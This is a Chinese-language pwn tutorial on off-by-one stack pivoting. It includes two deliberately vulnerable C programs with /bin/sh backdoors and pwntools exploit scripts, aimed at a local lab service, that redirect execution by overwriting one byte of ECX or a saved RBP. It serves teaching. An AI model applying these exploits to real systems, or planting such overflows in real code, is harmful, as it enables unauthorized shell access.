前言
本文章主要讲述的是通过 off by one 手法实现 Stack Pivoting 让程序去执行自己构造好的 ROP。
基础
汇编基础
leave指令:相当于 mov e/r sp,e/r bp; pop e/r bp
ret指令:相当于 pop eip/rip
Stack Pivoting
stack pivoting 是指劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。
通过上述对 stack pivoting 的介绍,已经大概知道 stack pivoting 技术就是劫持 esp/rsp 到一块新的栈空间,因为当程序执行到 ret 指令时控制程序执行流程的恰好就是此时 esp/rsp 中存的地址空间中的指令,所以控制此时的 esp/rsp 等于变相的控制了程序的执行流程。所以可以通过在此空间内构造 ROP 链进行 ROP。
只需要有能够改变 esp/rsp 的指令即可
例1:leave ret
例2:lea esp,[ecx-0x4]
或者其他可以改变 esp/rsp 的指令
1.迁移到一个位置已知的buf
2.use off by one
通过只溢出一个字节实现一些想要达到的效果。=
例1:通过只覆盖 ebp/rbp 的低一个字节实现让 ebp/rbp 在 0-255 个字节之间移动。
例2:通过只覆盖 canary 的低二位一个字节实现对 canary 的爆破。
Stack Pivoting use off by one
通过覆盖 esp/rsp 的低一位实现 stack pivoting,通常都是迁移到与 esp/rsp 相近的 buf。
1.所需要的覆盖的字节数很少
2.可以没有一个已知位置的buf
1.可能需要的 buf 相对较大(比较小的话会影响成功率和ROP的功能)
2.在某些特定环境中才能实现
实例
由于本方法是发生在含有轻微栈溢出的程序中,所以所有的环境要求都必须有轻微的栈溢出。出于讲解的目的这两个实例都加了后门函数,也可以不加后门函数自行构造ROP,其原理都是一样的。
场景1
本场景只发生在32位程序,gcc编译器 > 4.9的情况下。通过学习发现当 gcc编译器 > 4.9 版本时编译出来的文件会有一段特定的代码push ebp;mov ebp,esp; push ecx ······ lea esp,[ecx-0x4] 所以可以利用这段特定代码实现对 esp 的改变。本机制可能是开发人员出于安全考虑对栈溢出做的一定的安全保护,因为在栈溢出的情况下 ecx 一定会发生改变,此时 esp 也会随之改变,所以溢出返回地址的方法在此处就存在一定的困难,不过可能是考虑不全,所以也造成了此方法存在的一些弊端。
#include <stdio.h>
int callsystem(){
return system("/bin/sh");
}
int main(){
char buf[400];
fgets(buf,405,stdin);
printf("%s",buf);
}
编译选项:gcc -o buf buf.c -m32 -fno-stack-protector 由于加 canary 保护的话可能造成无法溢出 ecx 的情况所以此处关闭 canary 保护。
这是一道相对简单的 pwn 题,题目思路很简单,通过溢出让程序去 callsystem 函数执行即可。
通过分析发现此处存在对 esp 改变的指令,所以可以利用此处实现 stack pivoting ,由于本题目中不存在一个位置已知的 buf ,所以使用 stack pivoting use off by one 。通过此方法可以实现 esp 在一个相对位置的 buf 间移动,由于位置不能精确确定所以需要利用类似 nop 填充的方式实现对成功率的提高,ret 指令实现效果与 nop 效果相同所以此处采用 ret 代替 nop 进行填充,由于 esp 受 ecx 的影响,所以可以通过溢出 ecx 低一位字节实现对 esp的控制。
覆盖前的 ecx:
寻找到 ecx 处的偏移:
由上图 ecx 在 ebp 之上猜测覆盖 ecx 低一位需要 405(IDA静态分析也可以查看) 个字节,由于覆盖最后一位为 00 可实现在栈空间的最大移动,所以输入的最后一个字符为 x00 又由于 fgets 函数会在最后部分自动补 x00 所以只填 404 个字符即可。
测试:
结果:由这三张图可知 ecx 成功从 0xffffd590 覆盖为 0xffffd500
from pwn import *
ret = p32(0x0804833a)
system = p32(0x080484cb)
r = remote('127.0.0.1',8888)
raw_input('1Oin0: ')
shellcode = ret*(101- len(system)/4)+''.join(system)
r.sendline(shellcode)
r.interactive()
场景2
本场景大多数都可能会存在,此环境主要利用 leave 指令,因为 leave 指令实现了对 esp/rsp 的改写,又由于 esp/rsp 受 ebp/rbp 的控制,所以只要控制 ebp/rbp 就可以实现对 esp/rsp 的改变,又由于 leave 指令是,mov e/r sp,e/r bp; pop e/r bp,所以第一次溢出的 ebp/rbp 不会影响该次的 esp/rsp 所以必须需要两次 leave 指令,即本环境为第一层函数和第二层函数都包含 leave 指令或者等效指令。
#include <stdio.h>
int callsystem(){
return system("/bin/sh");
}
int overflow(){
char buf[400];
fgets(buf,401,stdin);
printf("%s",buf);
return 0;
}
int main(){
char buf[40];
fgets(buf,20,stdin);
overflow();
return 0;
}
编译选项:gcc -o buf2 buf2.c -fno-stack-protector
思路同上
leave1:
leave2:
由上两图可知道该环境符合覆盖 rsp 条件,即当调用 overflow 函数时将 rbp 修改即可影响 main 返回时的 rsp 的位置,所以可以控制 main 返回时的 rsp 到自己构造好的 ROP 中,使用 use off by one 只覆盖 rbp 的低一位可实现 stack pivoting use off by one。具体操作细节与上一情况类似。
修改前main: 这是 main 的 rbp 是 0x7fffffffe430
修改前overflow:此时 overflow 的 rbp 是 0x7fffffffe3f0 保存的上一栈帧的 rbp 是 0x7fffffffe430(main 的 rbp)
修改后overflow: 此时 overflow 的 rbp 是 0x7fffffffe3f0 保存的上一栈帧的 rbp 是 0x7fffffffe400(修改后的 main 的 rbp)
修改后main: 此时 main 的 rsp 是 0x7fffffffe408 因为 leave 之后 pop 了一个值,所以此时控制程序执行流程的是此时 rsp 中保存的地址空间中的代码。
后续利用的时候只需 buf 中填充 ROP 即可返回正确地址。
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
ret = p64(0x0000000000400491)
system = p64(0x00000000004005f6)
r = remote('127.0.0.1',8888)
raw_input("1Oin0:# ")
r.sendline('00') #第一次发送
raw_input("1Oin0:@")
shellcode = ret*(50- len(system)/8)+''.join(system)+'x00' #因为是64位程序所以含有 x00 字符 fgets 不会再添加该字符,所以要手动添加
print len(shellcode)
r.sendline(shellcode)
r.interactive()
结语
第一次投稿大部分细节都已经标注好了,如还有不清楚的可以深入交流。在此特别感谢某大佬的视频讲解,通过看他的视频给我了很大启发。同时也希望大家在自己的学习过程中多多思考,举一反三。此外由于自己还是个刚入门的小白,所以如果知识上有什么问题和不足的地方还请大佬斧正、见谅,同时也很愿意和对安全有同样兴趣的朋友学习、交流。